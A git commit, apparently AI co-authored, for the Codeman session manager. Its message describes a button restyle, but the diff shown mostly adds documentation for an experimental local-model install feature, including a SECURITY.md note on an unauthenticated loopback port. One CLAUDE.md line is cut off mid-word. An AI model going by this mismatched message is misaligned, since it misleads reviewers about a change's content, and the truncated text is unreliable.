style(local-model): white for the feature, built like the primary launcher

The violet button was the one thing on the start screen outside the app's
blue, and it carried white text and a see-through disc where its neighbour
has dark ink and a solid disc. It is now white with dark ink and a solid
disc, the same on the Install button, and the chooser's selected row, tile
and model bar follow. Light skins turn it over to dark, since a white button
vanishes on a pale page. The context takes the app's blue.

The tokens are named for what they mean now (--lm-brand, --lm-context).

Brings test/local-model-ui.browser.test.ts up to the redesign it had fallen
behind: it is outside the gate, so the button's 46 px, the 12 px bar and the
memory panel's edges had gone unnoticed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

.github/SECURITY.md

@@ -69,6 +69,7 @@ shared-host, multi-user, or tunneled deployments.
 - **Multi-instance tmux socket is process-wide.** Two Codeman instances on the same `CODEMAN_INSTANCE` share a tmux socket and can attach each other's live sessions — isolate with distinct `CODEMAN_INSTANCE` values.
 - **The live log-tail route reads `/var/log` and `~/logs`** in addition to the session working directory (read-only) — a deliberate choice for tailing system/app logs. On a password-protected remote deployment an authenticated user can therefore read those roots outside their session. See `docs/security-architecture.md` §5.
 
+- **The local model runtime listens on a loopback port with no login.** The model server the local model install starts (macOS only, opt-in by a click) accepts requests from any process of any account on the Mac, and from any page served from `localhost`, like every model server of its kind. Codeman limits what that buys (one model in the endpoint record, a digest check before an agent is started on it) but does not authenticate the port. See `docs/security-architecture.md` §10d.
 - **The web-tab proxy fetches from the server's network position.** Any authenticated user can save a dashboard URL on loopback or a private range and have Codeman relay to it; that is the feature. Link-local and cloud-metadata addresses are the only refused targets (see below). On a shared host, restrict who holds an account.
 
 Recent hardening (2026-09-04): the web-tab proxy, its "Test" probe and its

CLAUDE.md

@@ -187,10 +187,14 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Case rename** (`POST /api/cases/:name/rename`, `src/case-rename.ts`; `docs/wiki/Core-Concepts.md#case`): a case under the cases dir is its folder name and always moves; a linked case renames its alias and moves its real folder only with `renameFolder`; remote and Docker cases are refused. ⚠️ A folder that sessions have open is the hazard: live sessions at or under it make the route answer `409 requiresStop` with their names, and only `stopSessions: true` ends them (via `ctx.cleanupSession`: closed like a tab close, uploads included, nothing is restarted); the free-target pre-check runs before that and refuses a dangling symlink too (`lstat`, as `moveCaseFolder` does), so no session is ended for a move that cannot happen. `withCaseLock` holds the old and new paths for the whole operation (`isCasePathLocked`; the `Session` constructor throws for a working directory inside a held path, so nothing is constructed mid-move). ⚠️ A create awaits the owner's layout lock and a settings read between `new Session` and the server's map, where the rename looks for open sessions, so the constructor also records the session (`noteCaseSessionStarting`) until `registerSessionWithLayout()` or `stop()` settles it (30 s TTL for one that never registers), and a folder move refuses `409` with `renameCode: "BUSY"` while one is recorded at or under the folder (`isCaseSessionStarting`, checked in the same tick that takes the lock); an alias-only rename is not refused. A create whose path was validated before the move but whose `Session` is constructed after it is not covered (the plain check-then-use race of any create path), `moveCaseFolder` refuses an existing target itself (POSIX `rename` would silently replace an EMPTY directory) and retries `EBUSY`/`EPERM`/`EACCES` before answering `423 LOCKED`. If the registries (`linked-cases.json`, `caseOrder`, `lastUsedCase`) fail after the move, `settings.json` and the folder are put back (a failed move-back says the folder is now at the new path), and an error after `stopSessions` carries `stoppedSessions`. Claude Code keys history by path (`claudeProjectDirName`: every non-alphanumeric becomes `-`), so `<claude config>/projects/<old>` is renamed too, or merged entry by entry, never overwriting, into one already at the new key (case delete never removes history, so an earlier case of the new name leaves one); other CLIs' history, Docker bind mounts, `git worktree` links, cron jobs' `workingDir`, Claude history of subfolder sessions and Claude Code's per-project entry in `~/.claude.json` (local-scope `mcpServers`, `allowedTools`, trust; writing another CLI's config is the opt-in MCP sync's job) are NOT migrated. The history scanner prefers the decoded project key over a transcript's `cwd` that no longer exists, so Resume follows a rename. Only an admin's rename touches the server-wide `settings.json` (`caseOrder`, `lastUsedCase`); the owner's default session group is carried across with `TabLayoutService`. `settings.json` is written before `linked-cases.json`, so a failed or refused registry write puts `settings.json` back and leaves the registry as it was. ⚠️ Every write to `linked-cases.json` (link, unlink, rename, and a create or clone into a custom folder) goes through `mutateLinkedCases()` (`src/web/linked-cases-writer.ts`: serialized, temp file + rename, and a file that does not parse is refused, never read as `{}`; the one direct writer is config-backup restore, `restoreConfigBackup()`, which must work on such a file), and a check that must still hold when the entry is written (the name is free; for a rename, the old entry still names the folder) runs INSIDE its callback: two clones that claimed one name used to both pass a re-read made outside it and both answer success. Pinned by `test/linked-cases-writer.test.ts`, and for a rename by `test/routes/case-rename-routes.test.ts`.
 
-**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
+**Custom Model Endpoint Profiles** (opt-in, `customModelEndpointsEnabled`, SYNCED, default OFF; `docs/custom-model-endpoints.md`): points a session at a user-configured OpenAI-compatible endpoint (store `custom-model-hosts.ts`, `~/.codeman/custom-model-hosts.json`, 0600). `authStyle` is `bearer` or `api-key`, never both headers (hangs the server). The per-CLI redirect is registry data, `capabilities.customModelInjection` (`env` / `configContentEnv` / `configDir` / `unsupported`), computed by the pure `custom-model-injection.ts`; ⚠️ `configDir` writes an isolated per-session config, NEVER the user's real `~/.codex`/`~/.pi`/`~/.omp`/grok config; the one exception is a recipe's `linkFromRealHome` (deepseek's `profiles`, `sessions`, `settings.yaml`), which symlinks those named entries back out of the real home so they survive the redirect. ⚠️ Claude applies via `Session.restartCli()` (a relaunch in the existing pane, so the conversation is pinned as `resumeSessionId`), the rest one-shot at launch; retired env keys must also be `setenv -u`'d (`_pendingEnvUnsets`), since tmux env survives `respawn-pane`. ⚠️ Remote/Docker sessions are refused (400). ⚠️ Persist only KEYS (`__customModel`), never values (they carry the API key); the one exception is `ownEnv`'s `homeEnvVar` entry, the session's OWN home path (absolute only: a `clis.json` override can name any variable there), which `setCustomModel()` puts back on clear and recovery clamps, since the selection overwrote the tmux `setenv` that held it. ⚠️ Every redirectable var must be in that CLI's `privilegedEnvKeys`, and `ANTHROPIC_*` stays out of claude's `allowedPrefixes`. ⚠️ The Run-menu picker builds entries from `window.__codemanCustomModelClis` (escaped via `escapeScriptJson()`), never a hardcoded CLI id list, and launches through `run()` via a temporary `_runMode` swap, never `setRunMode()`. ⚠️ Every write of `custom-model-hosts.json` goes through `mutateCustomModelHosts()` (`src/custom-model-hosts-writer.ts`: one at a time, temp file + rename, the route's check inside the callback, and a file that does not parse is refused with 409, never read as `[]` and replaced); the one direct writer is config-backup restore. The endpoint id `local-ollama` is reserved for the local model install (see Local model install). Pinned by `test/custom-model-hosts-writer.test.ts`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
 
 ⚠️ **llama-swap endpoints** (one model at a time): the apply routes check `GET /running` and return `requiresConfirmation` before evicting a model another live session uses; `confirmedSwap` and `confirmedContext` are SEPARATE flags and must stay so. Claude alone gets a context floor (`CLAUDE_MIN_SAFE_CONTEXT_TOKENS`); context is parsed from `/running`'s `cmd`, never trusted from `/props`. The floor also divides that context by the model's parallel slot count (`modelSlotCounts`: `--parallel`/`-np` from `cmd`, else `/props` `total_slots`; `perSlotContext()`), and `/props` only ever RAISES that warning: it supplies the context only when `cmd` states none and the count only when `cmd` has no `--parallel`, never a larger pool. `/props` is probed once per launch command (it refreshes llama-swap's last-use time, so a `ttl` would never expire), and a `/props` context beside an explicit `--parallel N` is already per slot, so it is not divided again. Backend log lines come from llama-swap's `/api/events` `upstream` source, never `/logs`. → [architecture-invariants#custom-model-endpoint-profiles](docs/architecture-invariants.md#custom-model-endpoint-profiles)
 
+**Local model recommendation** (`GET /api/local-model`, `src/local-model/`, `src/config/local-model-catalog.ts`, `src/types/local-model.ts`; EXPERIMENTAL): the server looks at the Mac it runs on and says which local coding model fits it and with which agent CLI. ⚠️ The READ side stays read-only: the probe, the catalogue and `recommend()` download nothing, install nothing and write nothing; everything that changes the machine is the install below, behind an explicit request. Apple silicon macOS only: anywhere else the answer is a `200` with verdict `none` (reasons `not-macos`, `intel`, `memory`, `disk`, `macos`, `no-harness`), and a failed probe is an answer, never a 500. The probe (`hardware.ts`) is ONE bounded async spawn of `/usr/sbin/sysctl` WITHOUT `-n`, parsed as `key: value` lines by the pure `parseSysctl()`, plus `statfs` of the data dir (probed bounded first, #516) and `node:os` fallbacks, cached 60 s; ⚠️ never `system_profiler`, never a second spawn, and `iogpu.wired_limit_mb` of 0 means not set. The catalogue is a compiled constant validated by a Zod schema: ⚠️ no override file and no runtime data, and a model id is `name:tag` in lowercase with no slash (`LOCAL_MODEL_ID_PATTERN`, so an id can never name another registry host). ⚠️ A harness is a catalogue ROW (`{ cli, minContext, rank, gated?, slowFirstTurn? }`) plus a `HarnessFact` built from the CLI registry at call time (`harness-facts.ts`); no code compares a CLI id (both id-branching guards scan these files). `recommend()` (`recommend.ts`) is pure. ⚠️ A model's need is its PEAK (`bytes + heldBytesPerToken * context + overheadBytes + peakExtraBytes`, measured on a Mac for one row and marked `estimated` on the others), judged against a budget that is `estimated` until the runtime ran and `measured` from then on (`RecommendOptions.measuredTotalBytes`). ⚠️ Ranking, lexicographic: tested on a Mac like this first, then speed `ok` before `unknown` before `slow`, then model rank, harness rank, larger context; the fit grade decides whether a row is listed and what it says, it does NOT sort, so a model is offered at the largest context it fits at. ⚠️ `limited` is a statement about the MAC (no model with 12 billion parameters or more fits), judged before the disk filter and whatever the pick is; a small pick under `ok` carries `noteSmallPick`, and a model left out for disk space is named in `noteDiskDropped`, never dropped in silence. ⚠️ The word "Recommended" exists only in `headlineTested`, and the tag "Tested on a Mac like this" only on a row whose model has a `tested` entry for exactly this chip, memory size and harness. ⚠️ Speed is `ok`/`slow`/`unknown`, graded on the unrounded figure, and a chip in no chips row is `unknown`: never guess a bandwidth. ⚠️ ONE unit for every computed size a person reads: decimal GB text from `formatGb()` (`format.ts`), sent beside the bytes, and the browser never divides bytes; the one exception is the installed memory, shown as `memClassGb` (the size the Mac is sold as, 48 and not 51.5). ⚠️ Every sentence the server chooses is a `LOCAL_MODEL_LABELS`, `LOCAL_MODEL_TAG_LABELS` or `LOCAL_MODEL_INSTALL_LABELS` text with `{placeholder}` slots filled from `vars` (no apostrophe in a text: the zh-CN key is single-quoted), and each needs a zh-CN entry. Admin only in multi-user mode (403 before anything is probed). Tests: `test/local-model-*.test.ts`, `test/routes/local-model-routes.test.ts`. Window rules: `src/web/CLAUDE.md` (Run a model on this Mac). → `docs/api-reference.md` (Local model), `docs/versioning-policy.md`
+
+**Local model install** (`POST /api/local-model/install|cancel|resume|runtime`, `DELETE /api/local-model`; `src/local-model/{install-job,runtime,ollama-client,connect,state-store,paths,developer-tools}.ts`; EXPERIMENTAL, admin only in multi-user mode on EVERY verb; guide `docs/local-models.md`): installs the chosen model on the Mac the server runs on and ends on a session of the coding agent running on it. ONE job of five idempotent steps (`runtime`, `model`, `verify`, `agent`, `connect`; `agent` only when the coding agent is missing), a pure reducer (`reduceInstallJob()`) over three tables in `install-job.ts` driven by one service per process (`getLocalModelService()`); the window polls the GET once a second, no SSE event. ⚠️ Layout only through `localModelPaths()` (all `dataPath()`): `local-model/runtime/ollama-<version>/`, `local-model/models/`, `local-model/home/` (the runtime's PRIVATE HOME, so the user's `~/.ollama` is never touched) and the state file `local-model.json` (0600, ONE serialized writer, total reader, holds NO path); nothing is written or deleted outside `local-model/` except that file and the two writes of the connect step. ⚠️ The runtime pin (`OLLAMA_RUNTIME_PIN`: version, URL, size, sha256) is a COMPILED constant no file, setting or request may supply; the hash is compared BEFORE anything is unpacked. ⚠️ The runtime is a NON-detached child whose environment comes from the `runtimeEnv()` ALLOWLIST, never `process.env` (no `CODEMAN_*`, none of the user's `OLLAMA_*`); the port is chosen ONCE by binding (from 11435, never 11434) and stored; a listener on it is adopted or replaced only when its stored pid runs a binary under OUR runtime folder, anything else is `port-in-use`; started at boot when installed and enabled, max 3 restarts, SIGTERM at shutdown beside `stopDeepSeekWeb()`; under vitest nothing spawns or fetches. ⚠️ Consent is bound to the size: `acknowledgedBytes` must equal the server's own total (`Candidate.installBytes`) or the answer is 409 `size-changed`; the model, context and CLI must be a row the current recommendation offers (400). ⚠️ ONE job at a time (409 `job-running`); a job a restart interrupted comes back `paused` and NEVER continues without a click (so `shutdown()` writes nothing), and an interrupted step is never recorded as failed. ⚠️ An event the transition table does not list is refused (same object back, 409 `wrong-state`): add a row to the table, never a special case. ⚠️ The budget is MEASURED from the runtime's "inference compute" log line and the model judged against it BEFORE it is downloaded. ⚠️ The pull stream is parsed incrementally (about 1.4 million lines for 23 GB): never buffer it, never write state per line. ⚠️ A failure is a code with ONE next step (`LOCAL_MODEL_ERROR_NEXT`), never a bare "failed"; a probe that ended on its token limit is `probe-unfinished`, not `no-tool-call`. ⚠️ The coding agent is installed through the shared runner `src/cli-install-runner.ts` (extracted from `cli-registry-routes.ts`, ONE install slot per CLI for both callers) with `stockInstallCommand()`, the COMPILED stock command, never the `clis.json`-merged one (this path has no `cliManagementEnabled` gate); only for a catalogue harness row, after the consent click that showed the literal command, audited (`cli_install`, `via: 'local-model'`); afterwards `forgetResolvedCli()` and a fresh lookup, and still missing is `harness-failed`. ⚠️ Connect writes ONE endpoint record under the RESERVED id `local-ollama` through `mutateCustomModelHosts()` and `customModelEndpointsEnabled: true` through `mutateSettingsFile()`, remembering the flag's first value; a record with that id that is not ours is never overwritten, and while it is ours it is MANAGED: the endpoint routes refuse to edit or delete it and the discovery sweep skips it (the runtime's port has no login, so its `models` must stay the one model that was checked). ⚠️ The model digest is stored and read again at boot and before every START of a coding agent on that endpoint (`launchRefusalMessage()`): the two custom-model launch routes in `session-routes.ts` ask it before anything is written, the reboot-restore rebuild asks it before it builds (reason `local-model-not-ready`, left on offer), and `Session`'s launch guard (`setLaunchGuard()`, set in `setupSessionListeners()`) asks it right before a NEW agent process starts (a fresh pane, the respawn of a dead one, `restartCli()`), never for an attach to an agent that runs; a refusal is a `LaunchRefusedError` that never falls back to a direct PTY. A changed or missing model, a runtime Codeman did not start or that did not start, or another model id refuses the launch with one sentence. ⚠️ The connection is CLAIMED in the state file (`connection`, with the flag's value read by `inspectLocalEndpoint()`) BEFORE the endpoint record and the settings flag are written, so a state write that fails or a kill between the two never leaveLine truncated
+
 **MCP server sync** (opt-in, `mcpSyncEnabled`, SYNCED, default OFF; `src/mcp-sync.ts`, `GET`/`POST /api/mcp-sync`): copies each installed, enabled CLI's user-level MCP servers into the others. It is the ONE subsystem that writes another CLI's REAL user config (`~/.claude.json`, `~/.codex/config.toml`, `~/.gemini/*`, opencode's), which is why it is opt-in and admin-only in multi-user mode (both verbs 403 for a non-admin, and the Settings group is hidden for them). Where each CLI keeps the file is registry data, `capabilities.mcpConfig` (`{ path, format, relocation? }`), never a branch on the id. ⚠️ Tools that sync but are not run modes (GitHub Copilot CLI, the first) are plain data in `MCP_SYNC_ONLY_TOOLS` (`src/mcp-sync-targets.ts`), take part only when installed or already configured, and their companion `settings.json` (`disabledMcpServers`) is read, never written; a test must clear their relocation vars too. ⚠️ ADDITIVE only: a name already defined, in any shape, is never edited or removed (a different same-name definition is a reported conflict), and a server switched off in its own CLI is never copied. ⚠️ Never write a file that did not parse; re-parse the NEW text and require every added server to read back before the tmp+rename (written through a symlink, previous file kept as `<file>.codeman-bak`, one apply at a time, else 409). ⚠️ A file that receives copied `env`/`headers` (secrets) is left `0600`, and so is the backup. ⚠️ Responses carry server NAMES only, never env values, headers or file text: a parse failure is reported by line and column (`describeMcpSyncError`), never the parser's own message (smol-toml and V8 both quote source). ⚠️ `mcpConfig.relocation` names the env var the CLI reads to move its file (`CLAUDE_CONFIG_DIR`, `CODEX_HOME`, `XDG_CONFIG_HOME`, `GEMINI_CLI_HOME`, and `COPILOT_HOME` for Copilot), resolved from the SERVER env at call time; a relative value reports the target `skipped`, never a guessed write, and a per-session `envOverrides` relocation is not followed. Tests must pass `home` (which drops the `process.env` default) or clear those vars first. → `docs/cli-registry.md` (MCP server sync), `docs/api-reference.md`, `docs/wiki/Settings-Reference.md`
 
 **Auto-named sessions** (`autoNameSessions`, SYNCED, default OFF): a placeholder tab (`w3-myapp`) takes its first real prompt as a title in the `<prefix>: <title>` form, so the case identity and `w<n>` counter survive. Ownership is `SessionState.nameSource` (`placeholder` | `auto` | `manual`; the `name` setter / `PUT /api/sessions/:id/name` makes it `manual`, never touched again). ⚠️ `applyAutoName()` flips to `auto` even if the string is unchanged, so only the FIRST titled prompt names the tab. ⚠️ Only user input counts: `SessionWriteOptions.fromUser` is set by the browser WS path, `POST /api/sessions/:id/input`, the experimental guarded stage (`stageGuardedInput()`, `POST /api/sessions/:id/stage`, typed on an agent's behalf like the input route) and a Discord reply (`DiscordBridge.onGatewayMessage`, through the bridge's `sendInput`) ONLY; any new user-input path must set it (and the send-key Shift+Enter path must call `trackUserInput()`). ⚠️ The pure tracker (`session-auto-name.ts`) sits on the raw keystroke stream with an explicit rule per key; add a rule for any new key class. ⚠️ `nameSource` also decides `--name`: by default only a `manual` name is pinned on the claude CLI (`Session.cliPinnedName`), since `--name` is also the `/resume` title and a pinned one stops Claude generating its own; the opt-in synced `pinCliSessionName` (default OFF, re-read at every spawn and respawn) pins every tab name, after which a Codeman rename holds only until the next turn; a rename appends a `custom-title` row to a LOCAL, non-docker transcript, and a same-name PUT is a no-op (never flips to `manual`). Tests: `test/session-auto-name.test.ts`. → [architecture-invariants#auto-named-sessions-first-prompt--tab-title](docs/architecture-invariants.md#auto-named-sessions-first-prompt--tab-title)
@@ -323,7 +327,7 @@ One module per domain in `src/web/routes/` (plus a barrel; `ls src/web/routes/`
 
 ## State Files
 
-All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
+All in `~/.codeman/`: `state.json` (sessions, settings, respawn, orchestrator, cron jobs/runs, owner tab layouts, case default groups), `mux-sessions.json` (tmux recovery), `settings.json` (user prefs), `push-keys.json` + `push-subscriptions.json`, `session-lifecycle.jsonl` (audit log), `update-status.json` (self-updater progress, polled across the service restart), `docker-env-applied.json` (Compose deployment only: sha256 of the Dockerfile + compose file the running container was built from, written by `Start-Codeman.sh`, read by the self-updater's environment gate), `docker-build-source.json` (Compose deployment only: the checkout's HEAD commit and `package-lock.json` hash the `codeman-node-modules`/`codeman-dist` volumes currently reflect, written by both `Start-Codeman.sh` and a successful in-place self-update, compared to detect and refresh a volume left stale by an externally-triggered rebuild), `linked-cases.json`, `webviews.json` (saved web-tab dashboard URLs), `remote-hosts.json` + `remote-cases.json`, `docker-hosts.json` + `docker-cases.json` + `docker-exports/`, `subagent-window-states.json` + `subagent-parents.json` (subagent window layout, GET/PUT `/api/subagent-window-states`/`-parents`), `hook-secret` (per-instance), `users.json` (multi-user, mode 0600) + `admin-audit.jsonl`, `intents.json` (Read My Mind intent profiles, mode 0600), `agent-inbox.json` (agent inbox snapshot, only while `agentInboxPersistEnabled` is on, mode 0600), `edit-history/<id>.json` (Edit history panel, one store per session, every diff an agent wrote, mode 0600), `webhook.json` (webhook notifications: enabled/service/scope plus the ntfy/Slack/Discord URL, a bearer secret, so mode 0600, kept out of `settings.json` and never returned by `/api/webhook`, which is admin-only in multi-user mode), `discord.json` (Discord bridge: bot token, a bearer secret, so mode 0600, never returned by `/api/discord`, admin-only in multi-user mode) + `discord-bridge.json` (sessionId to Discord thread id), `local-model.json` (local model install: state, step, model, port, pid, digest, the previous `customModelEndpointsEnabled` value; mode 0600, holds no path, not part of a config backup) + `local-model/` (the pinned runtime, the model store and the runtime's private HOME, removed by `DELETE /api/local-model`), `config-backup-id` (the random id config backups record as each manifest's `origin`, so instances sharing a backup folder keep to their own snapshots; mode 0600, never tracked or restored, and deleting it unlists this instance's earlier snapshots), `backups/config/` (the default config-backup folder, moved by `configBackupDir`: `cfg-YYYYMMDD-HHMMSS/` snapshots, 0700 with 0600 files, each with a `manifest.json` of SHA-256s, the origin and the retention in force (`keepCount`/`keepDays`), which a pass falls back to when `settings.json` lacks a retention key), `certs/` (self-signed TLS for `--https`), `.env` (CODEMAN_USERNAME/PASSWORD fallback for the `codeman attach` CLI), `install.log` (installer step output, written by `install.sh`'s `run_step`) `tailscale-rename` (the node name before `install.sh` renamed it, so uninstall can offer it back) and `runtime/` (the Node.js and tmux `install.sh` downloaded on its no-admin route, linked from `~/.local/bin`; all three installer-route only). Transient: `self-update-runner.sh`. Multi-user case spaces live OUTSIDE the data dir at `~/codeman-users/<username>/cases` (shared across instances like `~/codeman-cases`, override `CODEMAN_USER_SPACES_DIR`).
 
 **Generated top-level dirs** (all gitignored — don't edit or commit): `dist/` (esbuild output), `out/`, `coverage/`, `test-results/`, `tmp/`, `screenshots-echo-diag/`. The committed gesture bundle (`src/web/public/gesture/gesture-codeman.js`) IS tracked, but its runtime wasm/model assets (`src/web/public/gesture/wasm/`, `*.task`) are fetched and gitignored.
 

config/test-suites.ts

@@ -60,6 +60,7 @@ export const BROWSER_TEST_GLOBS = [
   'test/fullscreen-tab-switch-capture.browser.test.ts',
   'test/terminal-touch-swipe-axis.browser.test.ts',
   'test/phone-press-feedback.browser.test.ts',
+  'test/local-model-ui.browser.test.ts',
 ];
 
 /**

docs/api-reference.md

@@ -1676,6 +1676,98 @@ Only replies from `allowedUserIds`, in `guildId`, inside a thread the bridge cre
 
 `GET /api/doctor[?category=core|office|other]` returns the `codeman doctor --json` report (`platform`, `summary`, `tools[]` with `status` `ok` \| `missing` \| `outdated` \| `skipped` \| `error`, `version`, `path`, `installHint`). The probe engine is synchronous, so it runs in a child process of the same entry script, never on the server's event loop (30 s timeout). It names install paths and versions, so it is admin only in multi-user mode (`403`). `400` for an unknown category, `500` if the child produces no report.
 
+## Local model
+
+`GET /api/local-model` looks at the machine the server runs on and says which local coding model fits it, with which agent CLI, and where an install of one stands. Five verbs install a model, pause and continue the install, stop and start the model runtime, and remove everything again. It covers Apple silicon macOS only; anywhere else the GET is still a `200`, with verdict `none`, and nothing can be installed. How it works: [local-models.md](local-models.md).
+
+**Experimental.** These routes and their payloads are labeled experimental: the fields below, the states, the error codes and the sentences may change or go in a MINOR or PATCH release (see [versioning-policy.md](versioning-policy.md), "What SemVer does NOT cover", item 3). Do not build on their shape yet.
+
+Every route is admin only in multi-user mode (`403 FORBIDDEN`, answered before anything is probed, parsed or started): the GET names the host's hardware, and the verbs download and run a program, install an agent CLI and write the server-wide settings. There is no SSE event: the window polls the GET once a second while it is open.
+
+| Method   | Path                       | Body                                             | Notes                                                                                                                                                                                                                                                  |
+| -------- | -------------------------- | ------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `GET`    | `/api/local-model`         | none                                             | `200` with `{ hardware, recommendation, catalogUpdated, install }`. `500 INTERNAL_ERROR` only when the recommendation itself fails, never for a failed probe.                                                                                             |
+| `POST`   | `/api/local-model/install` | `{ modelId, cli, context, acknowledgedBytes }`   | Starts the one install job and answers at once; the job runs on in the server. `400 INVALID_INPUT` when the three choices are not a row the server offers right now. `409`: `job-running`, `already-installed`, `size-changed`.                         |
+| `POST`   | `/api/local-model/cancel`  | none                                             | Interrupts the step in flight; the job is `paused` at that step. `409 wrong-state` when no job is running.                                                                                                                                                |
+| `POST`   | `/api/local-model/resume`  | `{ newPort? }` (may be absent)                   | Continues a `paused` or `failed` job at the same step. `newPort: true` chooses another port first. `409`: `job-running`, `wrong-state`, `sessions-open` (`newPort` while live sessions use the model).                                                  |
+| `POST`   | `/api/local-model/runtime` | `{ action: "start" \| "stop", newPort? }`        | `stop` stops the runtime and keeps it from starting at the next boot; `start` undoes that. `newPort: true` with `start` chooses another port and moves the saved endpoint to it. `409`: `job-running`, `wrong-state` (nothing is installed), `sessions-open` (`stop` or `newPort` while live sessions use the model: their agents keep calling the address they were started with). |
+| `DELETE` | `/api/local-model`         | `{ removeModel? }` (may be absent)               | Stops the runtime, removes the saved endpoint, restores the settings flag when this feature switched it on and no other endpoint is saved, deletes the runtime; the model only with `removeModel: true`. `409`: `job-running`, `sessions-open`.        |
+
+Every verb answers `{ success: true, data: <install> }` with the `install` object (below) as it is after the verb. A refusal the feature names is a `409` whose envelope also carries the conflict:
+
+```json
+{
+  "success": false,
+  "error": "The download is 23.3 GB now. Check the sizes and confirm again.",
+  "errorCode": "CONFLICT",
+  "data": {
+    "reason": "size-changed",
+    "message": { "text": "The download is {size} GB now. Check the sizes and confirm again.", "vars": { "size": "23.3" } },
+    "expectedBytes": 23291770627,
+    "expectedGb": "23.3"
+  }
+}
+```
+
+`data.reason` is `job-running`, `already-installed` (remove the installed model first), `size-changed` (with `expectedBytes` and `expectedGb`), `sessions-open` (with `sessions`, the names of the live sessions that use the model) or `wrong-state`. A `409 CONFLICT` without `data` means a config file that must not be overwritten (`settings.json` or `custom-model-hosts.json` does not parse); `error` names the fix.
+
+`POST /api/local-model/install` also answers `400` when a saved model endpoint already uses the id `local-ollama` and was not created by this feature: rename or delete that endpoint first. The check is made before anything is downloaded. Every `400` the install names, and the `507 OPERATION_FAILED` of a first install on a full disk, carries its sentence as `data.message` (`{ text, vars }`, like a `409`), so a client can print it in its own language.
+
+**Consent is bound to the size shown.** `acknowledgedBytes` must be the `installBytes` of the chosen row: the model download plus the runtime download while the runtime is not unpacked yet. The server compares it with its own total before anything starts and answers `409 size-changed` when they differ, so a click confirms exactly the size the person saw.
+
+A probe that fails is an answer, not an error: a server that is not on macOS, or a Mac whose `sysctl` call failed or timed out, still gets a `200`, and `hardware.source` says what was read.
+
+`data`:
+
+- `hardware`: what the server sees of the machine it runs on.
+  - `platform`, `arch`: `process.platform` and `os.arch()` of the server process. `arm64: true` means the machine is Apple silicon whatever `arch` says; `translated: true` means the server process runs under Rosetta.
